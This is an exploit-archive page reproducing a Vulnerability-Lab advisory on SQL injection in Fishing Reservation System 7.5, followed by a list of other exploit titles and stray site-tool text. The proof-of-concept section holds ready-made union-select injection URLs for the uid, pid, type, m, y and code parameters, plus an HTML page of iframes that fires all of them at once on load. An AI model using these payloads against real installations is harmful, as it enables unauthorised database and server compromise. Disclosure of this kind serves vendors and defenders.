Menu

Search for hundreds of thousands of exploits

"Fishing Reservation System 7.5 - 'uid' SQL Injection"

Author

Exploit author

Vulnerability-Lab

Platform

Exploit platform

php

Release date

Exploit published date

2020-05-05

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
# Title: Fishing Reservation System 7.5 - 'uid' SQL Injection
# Author: Vulnerability Laboratory
# Date: 2020-05-05
# Vendor: https://fishingreservationsystem.com/index.html
# Software: https://fishingreservationsystem.com/features.htm
# CVE: N/A

Document Title:
===============
Fishing Reservation System - Multiple Remote SQL Injection Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2243


Common Vulnerability Scoring System:
====================================
7.5


Product & Service Introduction:
===============================
(Copy of the Homepage: https://fishingreservationsystem.com/index.html
&  https://fishingreservationsystem.com/features.htm )



Vulnerability Disclosure Timeline:
==================================
2020-05-04: Public Disclosure (Vulnerability Laboratory)


Technical Details & Description:
================================
Multiple remote sql-injection web vulnerabilities has been discovered in
the official Fishing Reservation System application.
The vulnerability allows remote attackers to inject or execute own sql
commands to compromise the dbms or file system of the application.

The remote sql injection web vulnerabilites are located in the pid, type
and uid parameters of the admin.php control panel file. Guest accounts or
low privileged user accounts are able to inject and execute own
malicious sql commands as statement to compromise the local database and
affected
management system. The request method to inject/execute is GET and the
attack vector is client-side. The vulnerability is a classic order by
remote
sql injection web vulnerability.

Exploitation of the remote sql injection vulnerability requires no user
interaction and a low privileged web-application user / guest account.
Successful exploitation of the remote sql injection results in database
management system, web-server and web-application compromise.

Request Method(s):
[+] GET

Vulnerable File(s):
[+] cart.php
[+] calender.php
[+] admin.php

Vulnerable Parameter(s):
[+] uid
[+] pid
[+] type
[+] m
[+] y
[+] code


Proof of Concept (PoC):
=======================
The remote sql-injection web vulnerability can be exploited by remote
attackers with guest access or low privileged user account and without
user interaction action.
For security demonstration or to reproduce the remote sql injection web
vulnerability follow the provided information and steps below to continue.


PoC: Example
https://frs.localhost:8080/system/admin.php?page=product/edit&type=s&pid='[SQL-INJECTION!]--
https://frs.localhost:8080/system/admin.php?page=product/edit&type='[SQL-INJECTION!]--
https://frs.localhost:8080/system/admin.php?page=user/edit&uid='[SQL-INJECTION!]--&PHPSESSID=
-
https://frs.localhost:8080/system/calendar.php?m='[SQL-INJECTION!]--&y=20&PHPSESSID=
https://frs.localhost:8080/system/calendar.php?m=02&y='[SQL-INJECTION!]--&PHPSESSID=
https://frs.localhost:8080/system/modules/cart.php?code='[SQL-INJECTION!]--&PHPSESSID=


PoC: Exploitation (SQL-Injection)
https://frs.localhost:8080/system/admin.php?page=product/edit&type=s&pid=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,@@version--&PHPSESSID=
https://frs.localhost:8080/system/admin.php?page=product/edit&type=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,@@version--&pid=2&PHPSESSID=
https://frs.localhost:8080/system/admin.php?page=user/edit&uid=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,@@version--&PHPSESSID=
-
https://frs.localhost:8080/system/calendar.php?m=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,@@version--&y=20&PHPSESSID=
https://frs.localhost:8080/system/calendar.php?m=02&y=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,@@version--&PHPSESSID=
https://frs.localhost:8080/system/modules/cart.php?code=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,@@version--&PHPSESSID=



PoC: Exploit
<html>
<head><body>
<title>Fishing Reservation System - SQL INJECTION EXPLOIT (PoC)</title>
<iframe
src="https://frs.localhost:8080/system/admin.php?page=product/edit&type=s&
pid=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,@@version--&PHPSESSID="%20>
<iframe src="https://frs.localhost:8080/system/admin.php?page=product/edit&
type=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,@@version--&pid=2&PHPSESSID="%20>
<iframe src="https://frs.localhost:8080/system/admin.php?page=user/edit&
uid=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,@@version--&PHPSESSID="%20>
<br>-
<iframe src="https://frs.localhost:8080/system/calendar.php?
m=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,@@version--&y=20&PHPSESSID="%20>
<iframe src="https://frs.localhost:8080/system/calendar.php?m=02&
y=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,@@version--&PHPSESSID="%20>
<iframe src="https://frs.localhost:8080/system/modules/cart.php?
code=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,@@version--&PHPSESSID="%20>
</body></head>
</html>


Reference(s):
https://frs.localhost:8080/
https://frs.localhost:8080/system/
https://frs.localhost:8080/system/modules/
https://frs.localhost:8080/system/admin.php
https://frs.localhost:8080/system/modules/cart.php


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2020-11-23 "VTiger v7.0 CRM - 'To' Persistent XSS" webapps php Vulnerability-Lab
2020-11-17 "WordPress Plugin Buddypress 6.2.0 - Persistent Cross-Site Scripting" webapps php Vulnerability-Lab
2020-11-17 "Froxlor Froxlor Server Management Panel 0.10.16 - Persistent Cross-Site Scripting" webapps php Vulnerability-Lab
2020-11-17 "SugarCRM 6.5.18 - Persistent Cross-Site Scripting" webapps php Vulnerability-Lab
2020-05-13 "Sellacious eCommerce 4.6 - Persistent Cross-Site Scripting" webapps php Vulnerability-Lab
2020-05-13 "Tryton 5.4 - Persistent Cross-Site Scripting" webapps php Vulnerability-Lab
2020-05-11 "Sentrifugo CMS 3.2 - Persistent Cross-Site Scripting" webapps php Vulnerability-Lab
2020-05-11 "OpenZ ERP 3.6.60 - Persistent Cross-Site Scripting" webapps php Vulnerability-Lab
2020-05-07 "Draytek VigorAP 1000C - Persistent Cross-Site Scripting" webapps hardware Vulnerability-Lab
2020-05-05 "Fishing Reservation System 7.5 - 'uid' SQL Injection" webapps php Vulnerability-Lab
2020-05-01 "Super Backup 2.0.5 for iOS - Directory Traversal" webapps ios Vulnerability-Lab
2020-05-01 "HardDrive 2.1 for iOS - Arbitrary File Upload" webapps ios Vulnerability-Lab
2020-04-29 "Internet Download Manager 6.37.11.1 - Stack Buffer Overflow (PoC)" local windows Vulnerability-Lab
2020-04-29 "Easy Transfer 1.7 for iOS - Directory Traversal" webapps ios Vulnerability-Lab
2020-04-23 "Sky File 2.1.0 iOS - Directory Traversal" webapps ios Vulnerability-Lab
2020-04-22 "Mahara 19.10.2 CMS - Persistent Cross-Site Scripting" webapps linux Vulnerability-Lab
2020-04-20 "Fork CMS 5.8.0 - Persistent Cross-Site Scripting" webapps php Vulnerability-Lab
2020-04-17 "Playable 9.18 iOS - Persistent Cross-Site Scripting" webapps ios Vulnerability-Lab
2020-04-17 "TAO Open Source Assessment Platform 3.3.0 RC02 - HTML Injection" webapps php Vulnerability-Lab
2020-04-15 "File Transfer iFamily 2.1 - Directory Traversal" webapps ios Vulnerability-Lab
2020-04-15 "SuperBackup 2.0.5 for iOS - Persistent Cross-Site Scripting" webapps ios Vulnerability-Lab
2020-04-15 "SeedDMS 5.1.18 - Persistent Cross-Site Scripting" webapps php Vulnerability-Lab
2020-04-15 "Macs Framework 1.14f CMS - Persistent Cross-Site Scripting" webapps php Vulnerability-Lab
2020-04-15 "AirDisk Pro 5.5.3 for iOS - Persistent Cross-Site Scripting" webapps ios Vulnerability-Lab
2019-12-19 "Deutsche Bahn Ticket Vending Machine Local Kiosk - Privilege Escalation" webapps hardware Vulnerability-Lab
2019-08-14 "TortoiseSVN 1.12.1 - Remote Code Execution" webapps windows Vulnerability-Lab
2018-01-23 "CentOS Web Panel 0.9.8.12 - 'row_id' / 'domain' SQL Injection" webapps php Vulnerability-Lab
2018-01-21 "CentOS Web Panel 0.9.8.12 - Multiple Vulnerabilities" webapps php Vulnerability-Lab
2018-01-21 "Shopware 5.2.5/5.3 - Cross-Site Scripting" webapps json Vulnerability-Lab
2018-01-15 "Flash Operator Panel 2.31.03 - Command Execution" webapps php Vulnerability-Lab 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected